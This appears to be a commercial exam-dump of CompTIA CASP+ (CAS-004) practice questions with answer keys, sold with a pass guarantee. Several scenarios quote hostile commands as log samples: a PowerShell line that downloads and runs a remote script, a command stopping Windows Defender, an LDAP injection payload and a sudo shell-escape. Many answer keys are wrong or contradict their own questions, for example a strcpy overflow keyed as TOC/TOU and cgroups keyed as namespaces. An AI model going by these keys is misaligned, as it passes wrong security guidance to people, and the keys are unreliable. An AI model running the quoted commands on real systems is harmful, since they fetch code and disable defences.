



CompTIA

Exam Questions CAS-004

CompTIA Advanced Security Practitioner (CASP+) Exam

About ExamBible

Your Partner of IT Exam

Found in 1998

ExamBible is a company specialized on providing high quality IT exam practice study materials, especially Cisco CCNA, CCDA, CCNP, CCIE, Checkpoint CCSE, CompTIA A+, Network+ certification practice exams and so on. We guarantee that the candidates will not only pass any IT exam at the first attempt but also get profound understanding about the certificates they have got. There are so many alike companies in this industry, however, ExamBible has its unique advantages that other companies could not achieve.

Our Advances

* 99.9% Uptime

All examinations will be up to date.

* 24/7 Quality Support

We will provide service round the clock.

* 100% Pass Rate

Our guarantee that you will pass the exam.

* Unique Gurantee

If you do not pass the exam at the first time, we will not only arrange FULL REFUND for you, but also provide you another exam of your claim, ABSOLUTELY FREE!

NEW QUESTION 1

Which of the following BEST sets expectation between the security team and business units within an organization?

- A. Risk assessment
- B. Memorandum of understanding
- C. Business impact analysis
- D. Business partnership agreement
- E. Services level agreement

Answer: C

NEW QUESTION 2

A company is looking for a solution to hide data stored in databases. The solution must meet the following requirements:

- Be efficient at protecting the production environment
- Not require any change to the application
- Act at the presentation layer

Which of the following techniques should be used?

- A. Masking
- B. Tokenization
- C. Algorithmic
- D. Random substitution

Answer: A

NEW QUESTION 3

A network architect is designing a new SD-WAN architecture to connect all local sites to a central hub site. The hub is then responsible for redirecting traffic to public cloud and datacenter applications. The SD-WAN routers are managed through a SaaS, and the same security policy is applied to staff whether working in the office or at a remote location. The main requirements are the following:

- * 1. The network supports core applications that have 99.99% uptime.
- * 2. Configuration updates to the SD-WAN routers can only be initiated from the management service.
- * 3. Documents downloaded from websites must be scanned for malware.

Which of the following solutions should the network architect implement to meet the requirements?

- A. Reverse proxy, stateful firewalls, and VPNs at the local sites
- B. IDSs, WAFs, and forward proxy IDS
- C. DoS protection at the hub site, mutual certificate authentication, and cloud proxy
- D. IPSs at the hub, Layer 4 firewalls, and DLP

Answer: C

NEW QUESTION 4

A security analyst detected a malicious PowerShell attack on a single server. The malware used the Invoke-Expression function to execute an external malicious script. The security analyst scanned the disk with an antivirus application and did not find any IOCs. The security analyst now needs to deploy a protection solution against this type of malware.

Which of the following BEST describes the type of malware the solution should protect against?

- A. Worm
- B. Logic bomb
- C. Fileless
- D. Rootkit

Answer: C

NEW QUESTION 5

A security consultant needs to protect a network of electrical relays that are used for monitoring and controlling the energy used in a manufacturing facility.

Which of the following systems should the consultant review before making a recommendation?

- A. CAN
- B. ASIC
- C. FPGA
- D. SCADA

Answer: D

NEW QUESTION 6

After a security incident, a network security engineer discovers that a portion of the company's sensitive external traffic has been redirected through a secondary ISP that is not normally used.

Which of the following would BEST secure the routes while allowing the network to function in the event of a single provider failure?

- A. Disable BGP and implement a single static route for each internal network.
- B. Implement a BGP route reflector.
- C. Implement an inbound BGP prefix list.
- D. Disable BGP and implement OSPF.

Answer: C

Explanation:

Defenses against BGP hijacks include IP prefix filtering, meaning IP address announcements are sent and accepted only from a small set of well-defined autonomous systems, and monitoring Internet traffic to identify signs of abnormal traffic flows.

NEW QUESTION 7

The Chief information Officer (CIO) asks the system administrator to improve email security at the company based on the following requirements:

- * Transaction being requested by unauthorized individuals.
- * Complete discretion regarding client names, account numbers, and investment information.
- * Malicious attackers using email to malware and ransomware.
- * Exfiltration of sensitive company information.

The cloud-based email solution will provide anti-malware reputation-based scanning, signature-based scanning, and sandboxing. Which of the following is the BEST option to resolve the board's concerns for this email migration?

- A. Data loss prevention
- B. Endpoint detection response
- C. SSL VPN
- D. Application whitelisting

Answer: A

NEW QUESTION 8

A vulnerability assessment endpoint generated a report of the latest findings. A security analyst needs to review the report and create a priority list of items that must be addressed. Which of the following should the analyst use to create the list quickly?

- A. Business impact rating
- B. CVE dates
- C. CVSS scores
- D. OVAL

Answer: A

NEW QUESTION 9

A security analyst has noticed a steady increase in the number of failed login attempts to the external-facing mail server. During an investigation of one of the jump boxes, the analyst identified the following in the log file: powershell EX(New-Object Net.WebClient).DownloadString ('https://content.comptia.org/casp/whois.ps1');whois

Which of the following security controls would have alerted and prevented the next phase of the attack?

- A. Antivirus and UEBA
- B. Reverse proxy and sandbox
- C. EDR and application approved list
- D. Forward proxy and MFA

Answer: C

Explanation:

An EDR and whitelist should protect from this attack.

NEW QUESTION 10

A security analyst is performing a vulnerability assessment on behalf of a client. The analyst must define what constitutes a risk to the organization. Which of the following should be the analyst's FIRST action?

- A. Create a full inventory of information and data assets.
- B. Ascertain the impact of an attack on the availability of crucial resources.
- C. Determine which security compliance standards should be followed.
- D. Perform a full system penetration test to determine the vulnerabilities.

Answer: A

NEW QUESTION 10

A software house is developing a new application. The application has the following requirements: Reduce the number of credential requests as much as possible
Integrate with social networks
Authenticate users

Which of the following is the BEST federation method to use for the application?

- A. WS-Federation
- B. OpenID
- C. OAuth
- D. SAML

Answer: D

NEW QUESTION 13

An organization's hunt team thinks a persistent threats exists and already has a foothold in the enterprise network.

Which of the following techniques would be BEST for the hunt team to use to entice the adversary to uncover malicious activity?

- A. Deploy a SOAR tool.
- B. Modify user password history and length requirements.
- C. Apply new isolation and segmentation schemes.
- D. Implement decoy files on adjacent hosts.

Answer: C

NEW QUESTION 17

An organization wants to perform a scan of all its systems against best practice security configurations. Which of the following SCAP standards, when combined, will enable the organization to view each of the configuration checks in a machine-readable checklist format for fill automation? (Choose two.)

- A. ARF
- B. XCCDF
- C. CPE
- D. CVE
- E. CVSS
- F. OVAL

Answer: BF

NEW QUESTION 19

A healthcare system recently suffered from a ransomware incident. As a result, the board of directors decided to hire a security consultant to improve existing network security. The security consultant found that the healthcare network was completely flat, had no privileged access limits, and had open RDP access to servers with personal health information. As the consultant builds the remediation plan, which of the following solutions would BEST solve these challenges? (Select THREE).

- A. SD-WAN
- B. PAM
- C. Remote access VPN
- D. MFA
- E. Network segmentation
- F. BGP
- G. NAC

Answer: ACE

NEW QUESTION 21

During a system penetration test, a security engineer successfully gained access to a shell on a Linux host as a standard user and wants to elevate the privilege levels.

Which of the following is a valid Linux post-exploitation method to use to accomplish this goal?

- A. Spawn a shell using sudo and an escape string such as `sudo vim -c '!sh'`.
- B. Perform ASIC password cracking on the host.
- C. Read the `/etc/passwd` file to extract the usernames.
- D. Initiate unquoted service path exploits.
- E. Use the UNION operator to extract the database schema.

Answer: A

NEW QUESTION 24

An organization is considering a BYOD standard to support remote working. The first iteration of the solution will utilize only approved collaboration applications and the ability to move corporate data between those applications. The security team has concerns about the following:

Unstructured data being exfiltrated after an employee leaves the organization
Data being exfiltrated as a result of compromised credentials

Sensitive information in emails being exfiltrated

Which of the following solutions should the security team implement to mitigate the risk of data loss?

- A. Mobile device management, remote wipe, and data loss detection
- B. Conditional access, DoH, and full disk encryption
- C. Mobile application management, MFA, and DRM
- D. Certificates, DLP, and geofencing

Answer: A

NEW QUESTION 26

A security architect was asked to modify an existing internal network design to accommodate the following requirements for RDP:

- Enforce MFA for RDP
- Ensure RDP connections are only allowed with secure ciphers.

The existing network is extremely complex and not well segmented. Because of these limitations, the company has requested that the connections not be restricted by network-level firewalls or ACLs.

Which of the following should the security architect recommend to meet these requirements?

- A. Implement a reverse proxy for remote desktop with a secure cipher configuration enforced.
- B. Implement a bastion host with a secure cipher configuration enforced.
- C. Implement a remote desktop gateway server, enforce secure ciphers, and configure to use OTP
- D. Implement a GPO that enforces TLS cipher suites and limits remote desktop access to only VPN users.

Answer: A

NEW QUESTION 29

Company A is establishing a contractual with Company B. The terms of the agreement are formalized in a document covering the payment terms, limitation of liability, and intellectual property rights. Which of the following documents will MOST likely contain these elements

- A. Company A-B SLA v2.docx
- B. Company A OLA v1b.docx
- C. Company A MSA v3.docx
- D. Company A MOU v1.docx
- E. Company A-B NDA v03.docx

Answer: A

NEW QUESTION 33

A help desk technician just informed the security department that a user downloaded a suspicious file from internet explorer last night. The user confirmed accessing all the files and folders before going home from work. the next morning, the user was no longer able to boot the system and was presented a screen with a phone number. The technician then tries to boot the computer using wake-on-LAN, but the system would not come up. which of the following explains why the computer would not boot?

- A. The operating system was corrupted.
- B. SELinux was in enforced status.
- C. A secure boot violation occurred.
- D. The disk was encrypted.

Answer: A

NEW QUESTION 38

A company created an external application for its customers. A security researcher now reports that the application has a serious LDAP injection vulnerability that could be leveraged to bypass authentication and authorization.

Which of the following actions would BEST resolve the issue? (Choose two.)

- A. Conduct input sanitization.
- B. Deploy a SIEM.
- C. Use containers.
- D. Patch the OS
- E. Deploy a WAF.
- F. Deploy a reverse proxy
- G. Deploy an IDS.

Answer: AE

Explanation:

A WAF protects your web apps by filtering, monitoring, and blocking any malicious HTTP/S traffic traveling to the web application, and prevents any unauthorized data from leaving the app. It does this by adhering to a set of policies that help determine what traffic is malicious and what traffic is safe.

NEW QUESTION 39

A company is migrating from company-owned phones to a BYOD strategy for mobile devices. The pilot program will start with the executive management team and be rolled out to the rest of the staff in phases. The company's Chief Financial Officer loses a phone multiple times a year.

Which of the following will MOST likely secure the data on the lost device?

- A. Require a VPN to be active to access company data.
- B. Set up different profiles based on the person's risk.
- C. Remotely wipe the device.
- D. Require MFA to access company applications.

Answer: D

NEW QUESTION 41

A company is looking to fortify its cybersecurity defenses and is focusing on its network infrastructure. The solution cannot affect the availability of the company's services to ensure false positives do not drop legitimate traffic.

Which of the following would satisfy the requirement?

- A. NIDS
- B. NIPS
- C. WAF
- D. Reverse proxy

Answer: A

NEW QUESTION 43

A security engineer has been asked to close all non-secure connections from the corporate network. The engineer is attempting to understand why the corporate UTM will not allow users to download email via IMAPS. The engineer formulates a theory and begins testing by creating the firewall ID 58, and users are able to download emails correctly by using IMAP instead. The network comprises three VLANs:

- | | | |
|------------|--------------------------|-----------------|
| - VLAN 30 | Guest networks | 192.168.20.0/25 |
| - VLAN 20 | Corporate user network | 192.168.0.0/28 |
| - VLAN 110 | Corporate server network | 192.168.0.16/29 |

The security engineer looks at the UTM firewall rules and finds the following:

| Rule active | Firewall ID | Source | Destination | Ports | Action | TLS decryption |
|-------------|-------------|----------|-------------|----------|---------------|----------------|
| Yes | 58 | VLAN 20 | 15.22.33.45 | 143 | Allow and log | Enabled |
| Yes | 33 | VLAN 30 | Any | 80, 443, | Allow and log | Disabled |
| Yes | 22 | VLAN 110 | VLAN 20 | Any | Allow and log | Disabled |
| No | 21 | VLAN 20 | 15.22.33.45 | 990 | Allow and log | Disabled |
| Yes | 20 | VLAN 20 | VLAN 110 | Any | Allow and log | Enabled |
| Yes | 19 | VLAN 20 | Any | 993, 587 | Allow and log | Enabled |

Which of the following should the security engineer do to ensure IMAPS functions properly on the corporate user network?

- A. Contact the email service provider and ask if the company IP is blocked.
- B. Confirm the email server certificate is installed on the corporate computers.
- C. Make sure the UTM certificate is imported on the corporate computers.
- D. Create an IMAPS firewall rule to ensure email is allowed.

Answer: D

NEW QUESTION 45

A company provides guest WiFi access to the internet and physically separates the guest network from the company's internal WIFI. Due to a recent incident in which an attacker gained access to the company's internal WIFI, the company plans to configure WPA2 Enterprise in an EAP- TLS configuration. Which of the following must be installed on authorized hosts for this new configuration to work properly?

- A. Active Directory OPOs
- B. PKI certificates
- C. Host-based firewall
- D. NAC persistent agent

Answer: B

NEW QUESTION 50

As part of its risk strategy, a company is considering buying insurance for cybersecurity incidents. Which of the following BEST describes this kind of risk response?

- A. Risk rejection
- B. Risk mitigation
- C. Risk transference
- D. Risk avoidance

Answer: C

NEW QUESTION 55

A security architect needs to implement a CASB solution for an organization with a highly distributed remote workforce. One Of the requirements for the implementation includes the capability to discover SaaS applications and block access to those that are unapproved or identified as risky. Which of the following would BEST achieve this objective?

- A. Deploy endpoint agents that monitor local web traffic to enforce DLP and encryption policies.
- B. Implement cloud infrastructure to proxy all user web traffic to enforce DLP and encryption policies.
- C. Implement cloud infrastructure to proxy all user web traffic and control access according to centralized policy.
- D. Deploy endpoint agents that monitor local web traffic and control access according to centralized policy.

Answer: C

NEW QUESTION 59

Immediately following the report of a potential breach, a security engineer creates a forensic image of the server in question as part of the organization incident response procedure. Which of the must occur to ensure the integrity of the image?

- A. The image must be password protected against changes.
- B. A hash value of the image must be computed.
- C. The disk containing the image must be placed in a sealed container.
- D. A duplicate copy of the image must be maintained

Answer: B

NEW QUESTION 63

Which of the following are risks associated with vendor lock-in? (Choose two.)

- A. The client can seamlessly move data.

- B. The vendor can change product offerings.
- C. The client receives a sufficient level of service.
- D. The client experiences decreased quality of service.
- E. The client can leverage a multicloud approach.
- F. The client experiences increased interoperability.

Answer: BD

NEW QUESTION 68

An organization is deploying a new, online digital bank and needs to ensure availability and performance. The cloud-based architecture is deployed using PaaS and SaaS solutions, and it was designed with the following considerations:

- Protection from DoS attacks against its infrastructure and web applications is in place.
- Highly available and distributed DNS is implemented.
- Static content is cached in the CDN.
- A WAF is deployed inline and is in block mode.
- Multiple public clouds are utilized in an active-passive architecture.

With the above controls in place, the bank is experiencing a slowdown on the unauthenticated payments page. Which of the following is the MOST likely cause?

- A. The public cloud provider is applying QoS to the inbound customer traffic.
- B. The API gateway endpoints are being directly targeted.
- C. The site is experiencing a brute-force credential attack.
- D. A DDoS attack is targeted at the CDN.

Answer: C

NEW QUESTION 70

A company's employees are not permitted to access company systems while traveling internationally. The company email system is configured to block logins based on geographic location, but some employees report their mobile phones continue to sync email traveling . Which of the following is the MOST likely explanation: (Select TWO.)

- A. Outdated escalation attack
- B. Privilege escalation attack
- C. VPN on the mobile device
- D. Unrestricted email administrator accounts
- E. Chief use of UDP protocols
- F. Disabled GPS on mobile devices

Answer: CF

NEW QUESTION 74

A recent data breach stemmed from unauthorized access to an employee's company account with a cloud-based productivity suite. The attacker exploited excessive permissions granted to a third-party OAuth application to collect sensitive information. Which of the following BEST mitigates inappropriate access and permissions issues?

- A. SIEM
- B. CASB
- C. WAF
- D. SOAR

Answer: C

NEW QUESTION 77

An enterprise is undergoing an audit to review change management activities when promoting code to production. The audit reveals the following:

- Some developers can directly publish code to the production environment.
- Static code reviews are performed adequately.
- Vulnerability scanning occurs on a regularly scheduled basis per policy.

Which of the following should be noted as a recommendation within the audit report?

- A. Implement short maintenance windows.
- B. Perform periodic account reviews.
- C. Implement job rotation.
- D. Improve separation of duties.

Answer: D

NEW QUESTION 79

A recent data breach revealed that a company has a number of files containing customer data across its storage environment. These files are individualized for each employee and are used in tracking various customer orders, inquiries, and issues. The files are not encrypted and can be accessed by anyone. The senior management team would like to address these issues without interrupting existing processes. Which of the following should a security architect recommend?

- A. A DLP program to identify which files have customer data and delete them
- B. An ERP program to identify which processes need to be tracked
- C. A CMDB to report on systems that are not configured to security baselines
- D. A CRM application to consolidate the data and provision access based on the process and need

Answer: D

NEW QUESTION 83

A health company has reached the physical and computing capabilities in its datacenter, but the computing demand continues to increase. The infrastructure is fully virtualized and runs custom and commercial healthcare application that process sensitive health and payment information. Which of the following should the company implement to ensure it can meet the computing demand while complying with healthcare standard for virtualization and cloud computing?

- A. Hybrid IaaS solution in a single-tenancy cloud
- B. PaaS solution in a multi-tenancy cloud
- C. SaaS solution in a community cloud
- D. Private SaaS solution in a single-tenancy cloud.

Answer: D

NEW QUESTION 85

During a remodel, a company's computer equipment was moved to a secure storage room with cameras positioned on both sides of the door. The door is locked using a card reader issued by the security team, and only the security team and department managers have access to the room. The company wants to be able to identify any unauthorized individuals who enter the storage room by following an authorized employee. Which of the following processes would BEST satisfy this requirement?

- A. Monitor camera footage corresponding to a valid access request.
- B. Require both security and management to open the door.
- C. Require department managers to review denied-access requests.
- D. Issue new entry badges on a weekly basis.

Answer: B

NEW QUESTION 89

A security consultant needs to set up wireless security for a small office that does not have Active Directory. Despite the lack of central account management, the office manager wants to ensure a high level of defense to prevent brute-force attacks against wireless authentication. Which of the following technologies would BEST meet this need?

- A. Faraday cage
- B. WPA2 PSK
- C. WPA3 SAE
- D. WEP 128 bit

Answer: C

Explanation:

WPA3 SAE prevents brute-force attacks.

"WPA3 Personal (WPA-3 SAE) Mode is a static passphrase-based method. It provides better security than what WPA2 previously provided, even when a non-complex password is used, thanks to Simultaneous Authentication of Equals (SAE), the personal authentication process of WPA3."

NEW QUESTION 92

A small company recently developed prototype technology for a military program. The company's security engineer is concerned about potential theft of the newly developed, proprietary information.

Which of the following should the security engineer do to BEST manage the threats proactively?

- A. Join an information-sharing community that is relevant to the company.
- B. Leverage the MITRE ATT&CK framework to map the TTR.
- C. Use OSINT techniques to evaluate and analyze the threats.
- D. Update security awareness training to address new threats, such as best practices for data security.

Answer: C

NEW QUESTION 93

The Chief Information Officer (CIO) wants to implement enterprise mobility throughout the organization. The goal is to allow employees access to company resources. However the CIO wants the ability to enforce configuration settings, manage data, and manage both company-owned and personal devices. Which of the following should the CIO implement to achieve this goal?

- A. BYOD
- B. CYOD
- C. COPE
- D. MDM

Answer: A

NEW QUESTION 97

A security analyst discovered that the company's WAF was not properly configured. The main web server was breached, and the following payload was found in one of the malicious requests:

```
(&(objectClass=*)(objectClass=*))(&(objectClass=void)(type=admin))
```

Which of the following would BEST mitigate this vulnerability?

- A. Network intrusion prevention
- B. Data encoding
- C. Input validation
- D. CAPTCHA

Answer: C

NEW QUESTION 101

A business wants to migrate its workloads from an exclusively on-premises IT infrastructure to the cloud but cannot implement all the required controls. Which of the following BEST describes the risk associated with this implementation?

- A. Loss of governance
- B. Vendor lockout
- C. Compliance risk
- D. Vendor lock-in

Answer: C

NEW QUESTION 106

A security analyst sees that a hacker has discovered some keys and they are being made available on a public website. The security analyst is then able to successfully decrypt the data using the keys from the website. Which of the following should the security analyst recommend to protect the affected data?

- A. Key rotation
- B. Key revocation
- C. Key escrow
- D. Zeroization
- E. Cryptographic obfuscation

Answer: E

NEW QUESTION 107

A new web server must comply with new secure-by-design principles and PCI DSS. This includes mitigating the risk of an on-path attack. A security analyst is reviewing the following web server configuration:

```
TLS_AES_256_GCM_SHA384
TLS_CHACHA20_POLY1305_SHA256
TLS_AES_128_GCM_SHA256
TLS_AES_128_CCM_8_SHA256
TLS_RSA_WITH_AES_128_CBC_SHA256
TLS_DHE_DSS_WITH_RC4_128_SHA
RSA_WITH_AES_128_CCM
```

Which of the following ciphers should the security analyst remove to support the business requirements?

- A. TLS_AES_128_CCM_8_SHA256
- B. TLS_DHE_DSS_WITH_RC4_128_SHA
- C. TLS_CHACHA20_POLY1305_SHA256
- D. TLS_AES_128_GCM_SHA256

Answer: B

NEW QUESTION 109

A security analyst is researching containerization concepts for an organization. The analyst is concerned about potential resource exhaustion scenarios on the Docker host due to a single application that is overconsuming available resources.

Which of the following core Linux concepts BEST reflects the ability to limit resource allocation to containers?

- A. Union filesystem overlay
- B. Cgroups
- C. Linux namespaces
- D. Device mapper

Answer: C

NEW QUESTION 110

A company hired a third party to develop software as part of its strategy to be quicker to market. The company's policy outlines the following requirements:

The credentials used to publish production software to the container registry should be stored in a secure location.

Access should be restricted to the pipeline service account, without the ability for the third-party developer to read the credentials directly.

Which of the following would be the BEST recommendation for storing and monitoring access to these shared credentials?

- A. TPM
- B. Local secure password file
- C. MFA
- D. Key vault

Answer: D

NEW QUESTION 111

The Chief Information Security Officer of a startup company has asked a security engineer to implement a software security program in an environment that

previously had little oversight.

Which of the following testing methods would be BEST for the engineer to utilize in this situation?

- A. Software composition analysis
- B. Code obfuscation
- C. Static analysis
- D. Dynamic analysis

Answer: C

NEW QUESTION 114

A company has decided to purchase a license for software that is used to operate a mission-critical process. The third-party developer is new to the industry but is delivering what the company needs at this time.

Which of the following BEST describes the reason why utilizing a source code escrow will reduce the operational risk to the company if the third party stops supporting the application?

- A. The company will have access to the latest version to continue development.
- B. The company will be able to force the third-party developer to continue support.
- C. The company will be able to manage the third-party developer's development process.
- D. The company will be paid by the third-party developer to hire a new development team.

Answer: A

NEW QUESTION 115

A customer reports being unable to connect to a website at `www.test.com` to consume services. The customer notices the web application has the following published cipher suite:

```
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256
Signature hash algorithm:
sha256
Public key:
RSA (2048 Bits)
.htaccess config:
<VirtualHost> *:80>
ServerName www.test.com
Redirect / https://www.test.com
</VirtualHost>
<VirtualHost _default_:443>
ServerName www.test.com
DocumentRoot /usr/local/apache2/htdocs
SSLEngine On
...
</VirtualHost>
```

Which of the following is the MOST likely cause of the customer's inability to connect?

- A. Weak ciphers are being used.
- B. The public key should be using ECDSA.
- C. The default should be on port 80.
- D. The server name should be test.com.

Answer: A

NEW QUESTION 118

A cybersecurity engineer analyst a system for vulnerabilities. The tool created an OVAL. Results document as output. Which of the following would enable the engineer to interpret the results in a human readable form? (Select TWO.)

- A. Text editor
- B. OOXML editor
- C. Event Viewer
- D. XML style sheet
- E. SCAP tool
- F. Debugging utility

Answer: BD

NEW QUESTION 121

A security is assisting the marketing department with ensuring the security of the organization's social media platforms. The two main concerns are:

The Chief marketing officer (CMO) email is being used department wide as the username The password has been shared within the department

Which of the following controls would be BEST for the analyst to recommend?

- A. Configure MFA for all users to decrease their reliance on other authentication.
- B. Have periodic, scheduled reviews to determine which OAuth configuration are set for each media platform.
- C. Create multiple social media accounts for all marketing user to separate their actions.
- D. Ensure the password being shared is sufficiently and not written down anywhere.

Answer: A

NEW QUESTION 125

A security analyst is trying to identify the source of a recent data loss incident. The analyst has reviewed all the for the time surrounding the identified all the assets on the network at the time of the data loss. The analyst suspects the key to finding the source was obfuscated in an application. Which of the following tools should the analyst use NEXT?

- A. Software Decomplier
- B. Network enurrerator
- C. Log reduction and analysis tool
- D. Static code analysis

Answer: D

NEW QUESTION 127

An organization is researching the automation capabilities for systems within an OT network. A security analyst wants to assist with creating secure coding practices and would like to learn about the programming languages used on the PLCs. Which of the following programming languages is the MOST relevant for PLCs?

- A. Ladder logic
- B. Rust
- C. C
- D. Python
- E. Java

Answer: A

NEW QUESTION 128

A security analyst notices a number of SIEM events that show the following activity:

```
10/30/2020 - 8:01 UTC - 192.168.1.1 - sc stop WinDefend
10/30/2020 - 8:05 UTC - 192.168.1.2 - c:\program files\games\comptiacasp.exe
10/30/2020 - 8:07 UTC - 192.168.1.1 - c:\windows\system32\cmd.exe /c powershell https://content.comptia.com/content.exam.psl
10/30/2020 - 8:07 UTC - 192.168.1.1 - powershell --> 40.90.23.154:443
```

Which of the following response actions should the analyst take FIRST?

- A. Disable powershell.exe on all Microsoft Windows endpoints.
- B. Restart Microsoft Windows Defender.
- C. Configure the forward proxy to block 40.90.23.154.
- D. Disable local administrator privileges on the endpoints.

Answer: C

Explanation:

top the data exfiltration and sever all malicious traffic first, and then clean up the internal mess.

NEW QUESTION 131

The Chief information Officer (CIO) of a large bank, which uses multiple third-party organizations to deliver a service, is concerned about the handling and security of customer data by the parties. Which of the following should be implemented to BEST manage the risk?

- A. Establish a review committee that assesses the importance of suppliers and ranks them according to contract renewal
- B. At the time of contract renewal, incorporate designs and operational controls into the contracts and a right-to-audit claus
- C. Regularly assess the supplier's post-contract renewal with a dedicated risk management team.
- D. Establish a team using members from first line risk, the business unit, and vendor management to assess only design security controls of all supplier
- E. Store findings from the reviews in a database for all other business units and risk teams to reference.
- F. Establish an audit program that regularly reviews all suppliers regardless of the data they access, how they access the data, and the type of data, Review all design and operational controls based on best practice standard and report the finding back to upper management.
- G. Establish a governance program that rates suppliers based on their access to data, the type of data, and how they access the data Assign key controls that are reviewed and managed based on the supplier'sratin
- H. Report finding units that rely on the suppliers and the various risk teams.

Answer: A

NEW QUESTION 134

A security architect is reviewing the following proposed corporate firewall architecture and configuration:

DMZ architecture

Internet-----70.54.30.1-[Firewall_A]----192.168.1.0/24----[Firewall_B]----10.0.0.0/16----corporate net

Firewall_A ACL

10 PERMIT FROM 0.0.0.0/0 TO 192.168.1.0/24 TCP 80,443

20 DENY FROM 0.0.0.0/0 TO 0.0.0.0/0 TCP/UDP 0-65535

Firewall_B ACL

10 PERMIT FROM 10.0.0.0/16 TO 192.168.1.0/24 TCP 80,443

20 PERMIT FROM 10.0.0.0/16 TO 0.0.0.0/0 TCP/UDP 0-65535

30 PERMIT FROM 192.168.1.0/24 TO \$DB_SERVERS TCP/UDP 3306

40 DENY FROM 192.168.1.0/24 TO 10.0.0.0/16 TCP/UDP 0-65535

Both firewalls are stateful and provide Layer 7 filtering and routing. The company has the following requirements:

Web servers must receive all updates via HTTP/S from the corporate network. Web servers should not initiate communication with the Internet.

Web servers should only connect to preapproved corporate database servers.

Employees' computing devices should only connect to web services over ports 80 and 443.

Which of the following should the architect recommend to ensure all requirements are met in the MOST secure manner? (Choose two.)

- A. Add the following to Firewall_A: 15 PERMIT FROM 10.0.0.0/16 TO 0.0.0.0/0 TCP 80,443
- B. Add the following to Firewall_A: 15 PERMIT FROM 192.168.1.0/24 TO 0.0.0.0 TCP 80,443
- C. Add the following to Firewall_A: 15 PERMIT FROM 10.0.0.0/16 TO 0.0.0.0/0 TCP/UDP 0-65535
- D. Add the following to Firewall_B: 15 PERMIT FROM 0.0.0.0/0 TO 10.0.0.0/16 TCP/UDP 0-65535
- E. Add the following to Firewall_B: 15 PERMIT FROM 10.0.0.0/16 TO 0.0.0.0 TCP/UDP 0-65535
- F. Add the following to Firewall_B: 15 PERMIT FROM 192.168.1.0/24 TO 10.0.2.10/32 TCP 80,443

Answer: AD

NEW QUESTION 136

A security architect is tasked with scoping a penetration test that will start next month. The architect wants to define what security controls will be impacted. Which of the following would be the BEST document to consult?

- A. Rules of engagement
- B. Master service agreement
- C. Statement of work
- D. Target audience

Answer: C

NEW QUESTION 137

A security analyst is reading the results of a successful exploit that was recently conducted by third-party penetration testers. The testers reverse engineered a privileged executable. In the report, the planning and execution of the exploit is detailed using logs and outputs from the test. However, the attack vector of the exploit is missing, making it harder to recommend remediation's. Given the following output:

```
0x014435a5 <+7>: mov 0x8(%ebp),%eax
0x014435a8 <+10>: movl $0xffffffff,-0x1c(%ebp) //Tester note, Start
0x014435af <+17>: mov %eax,%edx
0x014435b1 <+19>: mov $0x0,%eax
0x014435b6 <+24>: mov -0x1c(%ebp),%ecx
0x014435b9 <+27>: mov %edx,%edi
0x014435bb <+29>: repnz scas %eax(%edi),%al
0x014435bd <+31>: mov %ecx,%eax
0x014435bf <+33>: not %eax
0x014435c1 <+35>: sub $0x1,%eax //Tester note, end
0x014435c4 <+38>: mov %al,-0x9(%ebp)
0x014435c7 <+41>: cmpl $0x3,-0x9(%ebp) //Tester note <=4
0x014435cb <+45>: jbe 0x1448500 <validate_passwd>38>
0x014435cd <+47>: cmpl $0x8,-0x9(%ebp) //Tester note >=8
0x014435d1 <+51>: ja 0x1448500 <validate_passwd>98>
0x014435d3 <+53>: movl $0x1448660,(%esp)
0x014435da <+60>: call 0x14483a0 <puts@plt>
0x014435df <+65>: mov 0x144a020,%eax
0x014435e6 <+70>: mov %eax,(%esp)
0x014435e7 <+73>: call 0x1448380 <fflush@plt>
0x014435ec <+78>: mov 0x8(%ebp),%eax
0x014435ef <+81>: mov %eax,0x4(%esp)
0x014435f3 <+85>: lea -0x14(%ebp),%eax
0x014435f8 <+88>: mov %eax,(%esp)
0x014435f9 <+91>: call 0x1448390 <strcpy@plt> //Tester note, breakpoint
0x014435fe <+96>: jmp 0x1448519 <validate_passwd>127>
0x01448500 <+98>: movl $0x144866f,(%esp)
```

The penetration testers MOST likely took advantage of:

- A. A TOC/TOU vulnerability
- B. A plain-text password disclosure
- C. An integer overflow vulnerability
- D. A buffer overflow vulnerability

Answer: A

NEW QUESTION 139

A company is adopting a new artificial-intelligence-based analytics SaaS solution. This is the company's first attempt at using a SaaS solution, and a security architect has been asked to determine any future risks. Which of the following would be the GREATEST risk in adopting this solution?

- A. The inability to assign access controls to comply with company policy
- B. The inability to require the service provider process data in a specific country
- C. The inability to obtain company data when migrating to another service
- D. The inability to conduct security assessments against a service provider

Answer: C

NEW QUESTION 142

A bank is working with a security architect to find the BEST solution to detect database management system compromises. The solution should meet the following requirements:

Work at the application layer

Send alerts on attacks from both privileged and malicious users Have a very low false positive

Which of the following should the architect recommend?

- A. FIM
- B. WAF
- C. NIPS
- D. DAM
- E. UTM

Answer: D

NEW QUESTION 143

An organization recently experienced a ransomware attack. The security team leader is concerned about the attack reoccurring. However, no further security measures have been implemented.

Which of the following processes can be used to identify potential prevention recommendations?

- A. Detection
- B. Remediation
- C. Preparation
- D. Recovery

Answer: A

NEW QUESTION 148

A company's claims processed department has a mobile workforce that receives a large number of email submissions from personal email addresses. An employee recently received an email that appeared to be a claim form, but it installed malicious software on the employee's laptop when it was opened.

- A. Implement application whitelisting and add only the email client to the whitelist for laptop in the claims processing department.
- B. Require all laptops to connect to the VPN before accessing email.
- C. Implement cloud-based content filtering with sandboxing capabilities.
- D. Install a mail gateway to scan incoming messages and strip attachments before they reach the mailbox.

Answer: C

NEW QUESTION 153

A security engineer estimates the company's popular web application experiences 100 attempted breaches per day. In the past four years, the company's data has been breached two times.

Which of the following should the engineer report as the ARO for successful breaches?

- A. 0.5
- B. 8
- C. 50
- D. 36,500

Answer: A

NEW QUESTION 158

Which of the following controls primarily detects abuse of privilege but does not prevent it?

- A. Off-boarding
- B. Separation of duties
- C. Least privilege
- D. Job rotation

Answer: A

NEW QUESTION 160

An auditor needs to scan documents at rest for sensitive text. These documents contain both text and images. Which of the following software functionalities must be enabled in the DLP solution for the auditor to be able to fully read these documents? (Select TWO).

- A. Document interpolation
- B. Regular expression pattern matching

- C. Optical character recognition functionality
- D. Baseline image matching
- E. Advanced rasterization
- F. Watermarking

Answer: AC

NEW QUESTION 164

A company that uses AD is migrating services from LDAP to secure LDAP. During the pilot phase, services are not connecting properly to secure LDAP. Block is an excerpt of output from the troubleshooting session:

```
openssl s_client -host ldap.comptia.com -port 636

CONNECTED(00000003)
...
-----BEGIN CERTIFICATE-----
...
-----END CERTIFICATE-----
Subject=CN=*.comptia.com
Issuer=DC=com/DC=danville/CN=chicago
